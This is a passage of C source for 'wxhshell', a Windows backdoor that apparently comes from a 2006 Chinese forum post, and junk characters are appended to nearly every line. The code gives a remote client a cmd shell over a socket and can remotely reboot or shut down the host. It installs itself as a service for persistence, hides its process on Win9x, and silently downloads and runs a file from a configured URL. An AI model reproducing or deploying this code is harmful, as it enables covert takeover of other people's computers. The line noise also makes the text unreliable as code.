  case '?': { P 3MhU;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~lNsa".c  
    break; b45|vX+j  
  } =@,Q Dm]L  
  // 安装 tE6!+c<7  
  case 'i': { i) E|bW;  
    if(Install()) )^||\G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wNFz*|n  
    else H{J'# 9H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g~V+4+  
    break; qd3Q}Lk  
    } ~Tbj=f  
  // 卸载 4P^6oh0"  
  case 'r': { (C4fG@n  
    if(Uninstall()) 8 C[/dH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3(TsgP >`  
    else dL7E<?l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y!iZW  
    break; z#BR5jF  
    } }_=eT]  
  // 显示 wxhshell 所在路径 JSh.]j<bJL  
  case 'p': { WJ<^E"^  
    char svExeFile[MAX_PATH]; (=D&A<YX  
    strcpy(svExeFile,"\n\r"); s .Wdxh  
      strcat(svExeFile,ExeFile); gs!(;N\j|  
        send(wsh,svExeFile,strlen(svExeFile),0);  w 4[{2  
    break; I>L-1o|^  
    } =X.LA%Sf=u  
  // 重启 uqz]J$  
  case 'b': { X7k.zlH7T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iq( )8nxi  
    if(Boot(REBOOT)) `al<(FwGE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >pUtwIP  
    else { `+6R0Ch  
    closesocket(wsh); W9NX=gE4  
    ExitThread(0); *CHI2MB  
    } dy_:-2S  
    break; ca+5=+X7  
    } eX@L3BKp  
  // 关机 F:x [  
  case 'd': { n; {76Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;a:[8Yi  
    if(Boot(SHUTDOWN)) LL:_L<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %*BlWk!Q  
    else { 4apL4E"r  
    closesocket(wsh); II6CHjW`;  
    ExitThread(0); .\>v0Du  
    } MEB it  
    break; cnTaJ/o  
    } vWAL^?HUP  
  // 获取shell I`NjqyTW  
  case 's': { #g6.Glz3  
    CmdShell(wsh); U&O: _>~  
    closesocket(wsh); N-lkYL-%\j  
    ExitThread(0); &b:1I 7Cp*  
    break; Gea\,{E9xA  
  } 13taFV dU  
  // 退出 {<<U^<6}  
  case 'x': { 1GzAG;UUo6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,v"YqD+GC5  
    CloseIt(wsh); 6Ybg^0m  
    break; T=ev[ mS  
    } -'6Dg  
  // 离开 yPq'( PV  
  case 'q': { '- zD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dAuJXGo  
    closesocket(wsh); 82l~G;.n3  
    WSACleanup(); Bve.C  
    exit(1); HTG%t/S  
    break; (+0v<uR^D  
        } >y"+ -7V)  
  } =>-Rnc@  
  } Mo^ od<  
-B +4+&{T  
  // 提示信息 0Vx.nUQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a\r\PBi  
} !r<pmr3f@7  
  } &Xf}8^T<V  
4<BjC[@~Z{  
  return; wb0L.'jyR)  
} WlU0:(d  
VVlr*`  
// shell模块句柄 q<M2,YrbAI  
int CmdShell(SOCKET sock) jyCXJa-!-  
{ a |X a3E  
STARTUPINFO si; 4t=G   
ZeroMemory(&si,sizeof(si)); vam;4vyu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7'Mm205\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DMOMh#[  
PROCESS_INFORMATION ProcessInfo; kDsFR#w&`  
char cmdline[]="cmd"; \.-bZ$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gw!vlwC&T  
  return 0; w(L4A0K[  
} E 7{U |\  
H*}y^ )x  
// 自身启动模式 ~A\GT$  
int StartFromService(void) > ;*b|Ik  
{ F%RRd/'  
typedef struct |!4K!_y  
{ 1eF3`  
  DWORD ExitStatus; .6Pw|xu`Pw  
  DWORD PebBaseAddress; 5?x>9C a  
  DWORD AffinityMask; wfH^<jY)E  
  DWORD BasePriority; r8RoE`/T  
  ULONG UniqueProcessId; Tc? $>'  
  ULONG InheritedFromUniqueProcessId; %$.3V#?  
}   PROCESS_BASIC_INFORMATION; K|[*t~59  
NPp;78O0[  
PROCNTQSIP NtQueryInformationProcess; lN Yt`xp  
@u6B;)'l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M<v%CawS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t7aefV&_,  
ZpQ)IHA.  
  HANDLE             hProcess; ]Gsv0Xk1  
  PROCESS_BASIC_INFORMATION pbi; 3ca (i/c  
%WjXg:R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MDnua  
  if(NULL == hInst ) return 0; =c\>(2D  
(,0(   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GBPo8L"9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FOE4>zE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;@oN s-  
[_EZhq  
  if (!NtQueryInformationProcess) return 0; b0Ps5G\ u  
3`DQo%<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g,!L$,/F  
  if(!hProcess) return 0; VAHh~Q6 ;e  
f6&iy$@   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0Qf,@^zL*  
3[Qxd{8r  
  CloseHandle(hProcess); T4Pgbop  
Q' {M L4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n-tgX?1'  
if(hProcess==NULL) return 0; zHM(!\8K  
~qTx|",  
HMODULE hMod; UM"- nZ>[  
char procName[255]; 6a~|K-a6  
unsigned long cbNeeded; +nFu|qM}  
W{ q U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Wntd\w  
n{ar gI8wF  
  CloseHandle(hProcess); -&zZtDd F  
Q+{xZ'o"Z  
if(strstr(procName,"services")) return 1; // 以服务启动 Rl?_^dPx  
f.KN-f8<F  
  return 0; // 注册表启动 YJT&{jYi  
} OrY/`+Cog  
12b(A+M   
// 主模块 r@H /kD  
int StartWxhshell(LPSTR lpCmdLine) "#2a8#  
{ nFHUy9q  
  SOCKET wsl; "R;U/+  
BOOL val=TRUE; 8;RUf~q?  
  int port=0; K0|FY=#2y  
  struct sockaddr_in door; 6d<r= C=  
aC8} d  
  if(wscfg.ws_autoins) Install(); C)ERUH2i  
YYBDRR"  
port=atoi(lpCmdLine); (c=6yV@  
\ C+~m  
if(port<=0) port=wscfg.ws_port; 1#< '&Lr  
7x|9n  
  WSADATA data; ?N*>*"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dy%;W%  
|\pj;XU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h+g_rvIG*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t%/&c::(6  
  door.sin_family = AF_INET; JcsHt;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z&+ g;(g  
  door.sin_port = htons(port); ctZ uA+  
FrGgga$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m$>H u@Va  
closesocket(wsl); Rq'S>#e  
return 1; PR#exm&  
} nv|NQ Tk  
7rc0yB  
  if(listen(wsl,2) == INVALID_SOCKET) { &[?\k>  
closesocket(wsl); 'CM|@Zz%  
return 1; *K8$eDNZ  
} U)] oO  
  Wxhshell(wsl); /K@XzwM  
  WSACleanup(); ;PF<y9M  
{4<C_52t  
return 0; N2^=E1|_  
!C ':  
} uP)'FI  
_^Ubs>d=*  
// 以NT服务方式启动 99e.n0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /$Nsd  
{ 3w*R&  
DWORD   status = 0; 2j [=\K]  
  DWORD   specificError = 0xfffffff; Q%`@0#"]Sv  
t6 "%3#s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r= `Jn6@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^1I19q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w e//|fA<  
  serviceStatus.dwWin32ExitCode     = 0; [6Izlh+D  
  serviceStatus.dwServiceSpecificExitCode = 0; M6 "PX *K  
  serviceStatus.dwCheckPoint       = 0; %D{6[8  
  serviceStatus.dwWaitHint       = 0; i &nSh ]KK  
]g3JZF-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >C>.\  
  if (hServiceStatusHandle==0) return; gV's=cQ  
@1roe G  
status = GetLastError(); _aSxc)?  
  if (status!=NO_ERROR) K<3A1'_  
{ X]TG<r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tv,[DI +  
    serviceStatus.dwCheckPoint       = 0; Ko<:Z)PS  
    serviceStatus.dwWaitHint       = 0; w3ResQ   
    serviceStatus.dwWin32ExitCode     = status; EeE7#$l  
    serviceStatus.dwServiceSpecificExitCode = specificError; D0-3eV -  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ~^:A{/  
    return; gh]cXuph  
  } lfow1WRF  
xef% d G.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Di6?[(8  
  serviceStatus.dwCheckPoint       = 0;  ?(1 y  
  serviceStatus.dwWaitHint       = 0; Vx u0F]%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7;(`MIFXs  
} W:2( .?  
k(nW#*N_  
// 处理NT服务事件,比如:启动、停止 Rh{f5-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L,/%f<wd  
{ $ bR~+C  
switch(fdwControl) s/#!VnU6  
{ k1~&x$G  
case SERVICE_CONTROL_STOP: jvL[ JI,b  
  serviceStatus.dwWin32ExitCode = 0; ~TD0z AA&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ""G'rN_=Bi  
  serviceStatus.dwCheckPoint   = 0; p8O2Z? \  
  serviceStatus.dwWaitHint     = 0; PJ%C N(0  
  { QA`sx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sY&IquK^  
  } ! n@KU!&k  
  return; |0b`fOS  
case SERVICE_CONTROL_PAUSE: kgP0x-Ap  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6%_nZvRv  
  break; k="i;! G e  
case SERVICE_CONTROL_CONTINUE: FcU SE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wlqksG[B  
  break; 8OU\V5i[,q  
case SERVICE_CONTROL_INTERROGATE: 7`'Tbp  
  break; "<1{9  
}; /(*q}R3Kfo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !l8PDjAE  
} :crW9+  
0'C1YvF  
// 标准应用程序主函数 dR,fXQm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l'_r:b  
{ $%#!bV  
q>+k@>bk @  
// 获取操作系统版本 JPw.8|V)y  
OsIsNt=GetOsVer(); ]{@-HTt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uy$e?{Jf  
K w ]=  
  // 从命令行安装 3F2w-+L  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wh*uaad7  
?CPahU  
  // 下载执行文件 bROLOf4S  
if(wscfg.ws_downexe) { 9W2Vo [(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  x'<X!gw  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3XV/Fb}!(i  
} )3EY;  
0aB;p7~&  
if(!OsIsNt) { mCVFS=8V  
// 如果时win9x,隐藏进程并且设置为注册表启动 /y}xX  
HideProc(); vA8nvoi  
StartWxhshell(lpCmdLine); <0!):zraS  
} e(t\g^X  
else |@d\S[~^G  
  if(StartFromService()) NC(~l  
  // 以服务方式启动 &V/Mmm T  
  StartServiceCtrlDispatcher(DispatchTable); *z8\Lnv~k  
else kt:! 7  
  // 普通方式启动 EaN6^S=  
  StartWxhshell(lpCmdLine); s2'h  
-[.[>&`/  
return 0; u'BaKWPS  
}
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只看该作者 1 发表于: 2006-10-10
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